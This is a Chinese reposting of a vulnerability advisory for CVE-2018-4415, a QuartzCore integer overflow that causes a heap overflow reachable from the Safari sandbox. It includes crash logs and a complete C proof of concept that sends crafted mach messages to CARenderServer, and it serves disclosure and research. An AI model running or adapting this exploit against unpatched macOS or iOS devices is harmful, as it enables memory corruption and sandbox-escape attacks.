iOSmacOS Safari QuartzCore堆溢出漏洞导致沙箱逃逸

栏目: IOS · 发布时间: 5年前

内容简介:漏洞摘要厂商回应

漏洞摘要

QuartzCore ,也被称为CoreAnimation,是macOS和iOS使用的一个框架,用于构建动画场景图。CoreAnimation使用独特的渲染模型,其中grapohics操作在单独的进程中运行。在macOS环境中,其进程名称为WindowServer。在iOS环境中,其进程名称为backboardd。这两个进程都位于沙箱之外,并且有权调用setuid。服务名称QuartzCore通常被称为CARenderServer,该服务存在于macOS和iOS中,可以从Safarisandbox访问,因此被广泛在Pwn2Own中利用。在最新版本的macOS和iOS系统中,存在整数溢出漏洞,该漏洞可能会导致QuartzCore发生堆溢出问题。

厂商回应

·CoreAnimation影响:应用程序可能会使用系统权限执行任意代码。

· 说明:内存损坏漏洞,通过改进内存处理过程实现修复。

· 来源:由Beyond Security的SecuriTeam报告此漏洞。

· CVE编号:CVE-2018-4415

· 致谢:一位独立的安全研究员

· 受影响的系统:macOS 10.14、iOS 12.0.1

漏洞详细信息

这个漏洞的根本原因在于QuartzCore`CA::Render::InterpolatedFunction::InterpolatedFunction函数,该函数没有关注到整数溢出的问题。在本文中,将重点讨论macOS和iOS上关于此漏洞的详细信息。

macOS 10.14

在macOS上,有一个非常实用的API,用来打开名为CGSCreateLayerContext的CARenderService(该API在iOS上不存在)。攻击者可以使用ID为0x9C42或0x9C43向服务端口发送消息。当进程(server_thread)收到指定消息ID的消息时,会进入到反序列化的过程。在提供适当的数据后,执行流将会进入函数CA::Render::InterpolatedFunction::InterpolatedFunction中。

iOSmacOS Safari QuartzCore堆溢出漏洞导致沙箱逃逸

需要注意的是,(a)和(b)这两个成员的值可以由攻击者控制(CA使用诸如CA::Render::Decoder::decode*来反序列化对象),并且在CA::Render::InterpolatedFunction::allocate_storage函数中,这些值将用于决定要分配的内存的大小。

iOSmacOS Safari QuartzCore堆溢出漏洞导致沙箱逃逸

在(d)中,v3由(a)和(b)的值控制。并且(e)处的v4也可以由(c)处的攻击者控制。所以要分配的内存大小是4 * (v4 + v3)。但仔细观察(f),其传递给CA::Render::Decoder::decode_bytes的第三个参数实际上是4 * v3。(f)中的CA::Render::Decoder::decode_bytes的最简单形式,类似于memcpy(v2, v8, 4 * v3)或memset(v2, 0, 4 * v3)。因此,当4 * (v4 + v3)发生溢出并且4 * v3不溢出时,就会发生整数溢出导致的堆溢出。在本文的漏洞利用部分,可以具体查看能够成功导致整数溢出的攻击者控制值。

在macOS环境中,要复现此漏洞,可按照如下步骤进行:

1. clang QuartzCoreFunctionIntOverFlow.c –o

quartz_core_function_over_flow -framework CoreGraphics

2. ./quartz_core_function_over_flow

1 Thread 0 Crashed:: Dispatch queue: com.apple.main−thread
com.apple.CoreFoundation 0x00007fff332e2daf __CFBasicHashAddValue + 2077
com.apple.CoreFoundation 0x00007fff332e33f5 CFDictionarySetValue + 187
com.apple.SkyLight 0x00007fff595ebfa9 CGXPostPortNotification + 123
com.apple.SkyLight 0x00007fff595eb947 notify_handler + 73
com.apple.SkyLight 0x00007fff595eb2d9 post_port_data + 237
com.apple.SkyLight 0x00007fff595eafba run_one_server_pass + 949
com.apple.SkyLight 0x00007fff595eab90 CGXRunOneServicesPass + 460
com.apple.SkyLight 0x00007fff595eb820 server_loop + 96
com.apple.SkyLight 0x00007fff595eb7b5 SLXServer + 1153
WindowServer 0x000000010011d4c4 0x10011c000 + 5316
libdyld.dylib 0x00007fff6036ced5 start + 1
Thread 2:: com.apple.coreanimation.render−server // CARenderServer thread
libsystem_platform.dylib 0x00007fff6056ce09 _platform_bzero$VARIANT$Haswell
+ 41
com.apple.QuartzCore 0x00007fff3e8ebaa4 CA::Render::Decoder::
decode_bytes(void*, unsigned long) + 46
com.apple.QuartzCore 0x00007fff3e8c35f7 CA::Render::InterpolatedFunction
::InterpolatedFunction(CA::Render::Decoder*) + 191
com.apple.QuartzCore 0x00007fff3e8c3524 CA::Render::Function::decode(CA
::Render::Decoder*) + 224
com.apple.QuartzCore 0x00007fff3e8ecb8a CA::Render::Decoder::
decode_object(CA::Render::Type) + 946
com.apple.QuartzCore 0x00007fff3e8edc8e CA::Render::decode_commands(CA::
Render::Decoder*) + 871
com.apple.QuartzCore 0x00007fff3e896422 CA::Render::Server::
ReceivedMessage::run_command_stream() + 748
com.apple.QuartzCore 0x00007fff3e73d2e1 CA::Render::Server::
server_thread(void*) + 1841
com.apple.QuartzCore 0x00007fff3e91427c thread_fun(void*) + 25
libsystem_pthread.dylib 0x00007fff60572795 _pthread_body + 159
libsystem_pthread.dylib 0x00007fff605726e2 _pthread_start + 70
libsystem_pthread.dylib 0x00007fff605722a9 thread_start + 13

iOS 12.0.1

由于这一漏洞成因非常明显,因此针对iOS的代码与macOS的代码几乎相同。在这一章中,我们仅讨论iOS和macOS之间的不同之处。

1. 在macOS上,没有例如CGSCreateLayerContext这样的API,可以直接获取CoreAnimation渲染上下文,但通过深入研究,我们发现MIG函数_XRegisterClient可以用来替换CGSCreateLayerContext。首先,攻击者打开服务com.apple.CARenderServer(可以从沙箱访问),然后通过mach_msg调用消息ID为40202的_XRegisterClient。

2. 要在iOS 12 beta上复现这一漏洞,应该使用最新的1Xcode-beta(适用于最新的SDK)。

3. 我们应该根据 www.malhal.com 导入IOKit框架头部。需要注意的是,目标目录应该更改为相应的Xcode-beta应用程序。

4. 代码位于函数应用程序didFinishLaunchingWithOptions中,并在应用程序启动时触发。

5. 安装应用程序后,只需启动applicationios-sbe即可。

1 Thread 3 name: com.apple.coreanimation.render−server // CARenderServer thread
2 Thread 3:
0 libsystem_platform.dylib 0x000000018fefe584 0x18fef6000 + 34180
1 QuartzCore 0x0000000194a6e1d4 0x19491e000 + 1376724
2 QuartzCore 0x0000000194a21a58 0x19491e000 + 1063512
3 QuartzCore 0x0000000194a710b8 0x19491e000 + 1388728
4 QuartzCore 0x0000000194a719c0 0x19491e000 + 1391040
5 QuartzCore 0x00000001949fb140 0x19491e000 + 905536
6 QuartzCore 0x00000001949facdc 0x19491e000 + 904412
7 QuartzCore 0x0000000194ab65c8 0x19491e000 + 1672648
8 libsystem_pthread.dylib 0x000000018ff0c26c 0x18ff01000 + 45676
9 libsystem_pthread.dylib 0x000000018ff0c1b0 0x18ff01000 + 45488
10 libsystem_pthread.dylib 0x000000018ff0fd20 0x18ff01000 + 60704
 
Thread 13 name: Dispatch queue: com.apple.libdispatch−manager
Thread 13 Crashed:
0 libdispatch.dylib 0x000000018fd18514 0x18fcca000 + 320788
1 libdispatch.dylib 0x000000018fd1606c 0x18fcca000 + 311404
2 libdispatch.dylib 0x000000018fd1606c 0x18fcca000 + 311404
3 libdispatch.dylib 0x000000018fd0f1ac 0x18fcca000 + 283052
4 libsystem_pthread.dylib 0x000000018ff0d078 0x18ff01000 + 49272
5 libsystem_pthread.dylib 0x000000018ff0fd18 0x18ff01000 + 60696

漏洞利用

/**
 *  Brief: Integer overflow in CoreAnimation, CVE-2018-4415
 *  Usage:
 *    1. clang FunctionIntOverFlow.c -o function_over_flow
 *    2. ./function_over_flow
 *
 *  Specifically, `CA::Render::InterpolatedFunction::allocate_storage` function in QuartzCore does
 *  not do any check for integer overflow in expression |result = (char *)malloc(4 * (v4 + v3));|.
 *
 *  The bug has been fixed in macOS 10.14.1 and iOS 12.1, since the interfaces and structure of
 *  messages are inconsistent between different versions, this PoC may only work on macOS 10.14 and
 *  iOS 12.0, but it's very easy to replant it to another versions.
 *
 *  Tips for debugging on macOS: Turn Mac to sleep mode and ssh to the target machine, this may
 *  help you concentrate on your work.
 *
 *  One more: Mach service com.apple.CARenderServer is reacheable from Safari sandbox on both macOS
 *  and iOS. com.apple.windowserver.active accurately on macOS versions prior to macOS 10.14.
 */
 
#include <dlfcn.h>
#include <mach/mach.h>
#include <stdio.h>
#include <unistd.h>
 
static void do_int_overflow() {
 
    mach_port_t p = MACH_PORT_NULL, bs_port = MACH_PORT_NULL;
    task_get_bootstrap_port(mach_task_self(), &bs_port);
    const char *render_service_name = "com.apple.CARenderServer";
    kern_return_t (*bootstrap_look_up)(mach_port_t, const char *, mach_port_t *) =
        dlsym(RTLD_DEFAULT, "bootstrap_look_up");
    kern_return_t kr = bootstrap_look_up(bs_port, render_service_name, &p);
 
    if (kr != KERN_SUCCESS) {
        printf("[-] Cannot get service of %s, %s!\n", render_service_name, mach_error_string(kr));
        return;
    }
 
    typedef struct quartz_register_client_s quartz_register_client_t;
    struct quartz_register_client_s {
        mach_msg_header_t header;
        uint32_t body;
        mach_msg_port_descriptor_t ports[4];
        char padding[12];
    };
 
    quartz_register_client_t msg_register;
    memset(&msg_register, 0, sizeof(msg_register));
    msg_register.header.msgh_bits =
        MACH_MSGH_BITS(MACH_MSG_TYPE_COPY_SEND, MACH_MSG_TYPE_MAKE_SEND_ONCE) |
        MACH_MSGH_BITS_COMPLEX;
    msg_register.header.msgh_remote_port = p;
    msg_register.header.msgh_local_port = mig_get_reply_port();
    msg_register.header.msgh_id = 40202;  // _XRegisterClient
 
    msg_register.body = 4;
    msg_register.ports[0].name = mach_task_self();
    msg_register.ports[0].disposition = MACH_MSG_TYPE_COPY_SEND;
    msg_register.ports[0].type = MACH_MSG_PORT_DESCRIPTOR;
    msg_register.ports[1].name = mach_task_self();
    msg_register.ports[1].disposition = MACH_MSG_TYPE_COPY_SEND;
    msg_register.ports[1].type = MACH_MSG_PORT_DESCRIPTOR;
    msg_register.ports[2].name = mach_task_self();
    msg_register.ports[2].disposition = MACH_MSG_TYPE_COPY_SEND;
    msg_register.ports[2].type = MACH_MSG_PORT_DESCRIPTOR;
    msg_register.ports[3].name = mach_task_self();
    msg_register.ports[3].disposition = MACH_MSG_TYPE_COPY_SEND;
    msg_register.ports[3].type = MACH_MSG_PORT_DESCRIPTOR;
 
    kr = mach_msg(&msg_register.header, MACH_SEND_MSG | MACH_RCV_MSG,
                  sizeof(quartz_register_client_t), sizeof(quartz_register_client_t),
                  msg_register.header.msgh_local_port, MACH_MSG_TIMEOUT_NONE, MACH_PORT_NULL);
    if (kr != KERN_SUCCESS) {
        printf("[-] Send message failed: %s\n", mach_error_string(kr));
        return;
    }
 
    mach_port_t context_port = *(uint32_t *)((uint8_t *)&msg_register + 0x1c);
    uint32_t conn_id = *(uint32_t *)((uint8_t *)&msg_register + 0x30);
 
    typedef struct quartz_function_int_overflow_s quartz_function_int_overflow_t;
    struct quartz_function_int_overflow_s {
        mach_msg_header_t header;
        char msg_body[0x60];
    };
 
    quartz_function_int_overflow_t function_int_overflow_msg = {0};
    function_int_overflow_msg.header.msgh_bits =
        MACH_MSGH_BITS(MACH_MSG_TYPE_COPY_SEND, 0) | MACH_MSGH_BITS_COMPLEX;
    function_int_overflow_msg.header.msgh_remote_port = context_port;
    function_int_overflow_msg.header.msgh_id = 40002;
 
    memset(function_int_overflow_msg.msg_body, 0x0, sizeof(function_int_overflow_msg.msg_body));
    *(uint32_t *)(function_int_overflow_msg.msg_body + 0) = 0x1;  // Ports count
 
    /**
     *    1. One port consumes 12B space
     *    2. This `mach_msg` routine dose not need a port, so set this port to MACH_PORT_NULL(memory
     *       cleared by memset)
     */
 
    *(uint32_t *)(function_int_overflow_msg.msg_body + 4 + 12 + 0) = 0xdeadbeef;
    *(uint32_t *)(function_int_overflow_msg.msg_body + 4 + 12 + 4) = conn_id;
    *(int8_t *)(function_int_overflow_msg.msg_body + 4 + 12 + 16) = 2;
    *(uint64_t *)(function_int_overflow_msg.msg_body + 4 + 12 + 16 + 1) = 0xdeadbeefdeadbeef;
    *(uint32_t *)(function_int_overflow_msg.msg_body + 4 + 12 + 16 + 9) = 0xffffffff;
 
    *(uint8_t *)(function_int_overflow_msg.msg_body + 4 + 12 + 16 + 13) = 0x12;  // Decode Function
    *(uint8_t *)(function_int_overflow_msg.msg_body + 4 + 12 + 16 + 14) = 0x2;
    /**(uint32_t*)(function_int_overflow_msg.msg_body + 4 + 12 + 16 + 15) = 0xDECAFBAD;*/
    *(uint64_t *)(function_int_overflow_msg.msg_body + 4 + 12 + 16 + 15) = 0x2000000000000000;
    *(uint32_t *)(function_int_overflow_msg.msg_body + 4 + 12 + 16 + 23) = 1;
    *(uint32_t *)(function_int_overflow_msg.msg_body + 4 + 12 + 16 + 27) = 2;
    *(uint8_t *)(function_int_overflow_msg.msg_body + 4 + 12 + 16 + 31) = 1;
 
    kr = mach_msg(&function_int_overflow_msg.header, MACH_SEND_MSG,
                  sizeof(function_int_overflow_msg), 0, 0, MACH_MSG_TIMEOUT_NONE, MACH_PORT_NULL);
    if (kr != KERN_SUCCESS) {
        printf("[-] Send message failed: %s\n", mach_error_string(kr));
        return;
    }
 
    return;
}
 
int main() {
    do_int_overflow();
    return 0;
}

以上就是本文的全部内容,希望对大家的学习有所帮助,也希望大家多多支持 码农网

查看所有标签

猜你喜欢:

本站部分资源来源于网络,本站转载出于传递更多信息之目的,版权归原作者或者来源机构所有,如转载稿涉及版权问题,请联系我们

图解服务器端网络架构

图解服务器端网络架构

[日] 宫田宽士 / 曾薇薇 / 人民邮电出版社 / 2015-4 / 79.00元

本书以图配文,详细说明了服务器端网络架构的基础技术和设计要点。基础设计是服务器端网络架构最重要的一个阶段。本书就立足于基础设计的设计细分项目,详细介绍各细分项目的相关技术和设计要点。全书共分为5章,分别讲述进行物理设计、逻辑设计、安全设计和负载均衡设计、高可用性设计以及管理设计时所必需的技术和设计要点。一起来看看 《图解服务器端网络架构》 这本书的介绍吧!

HTML 压缩/解压工具
HTML 压缩/解压工具

在线压缩/解压 HTML 代码

XML 在线格式化
XML 在线格式化

在线 XML 格式化压缩工具

HEX HSV 转换工具
HEX HSV 转换工具

HEX HSV 互换工具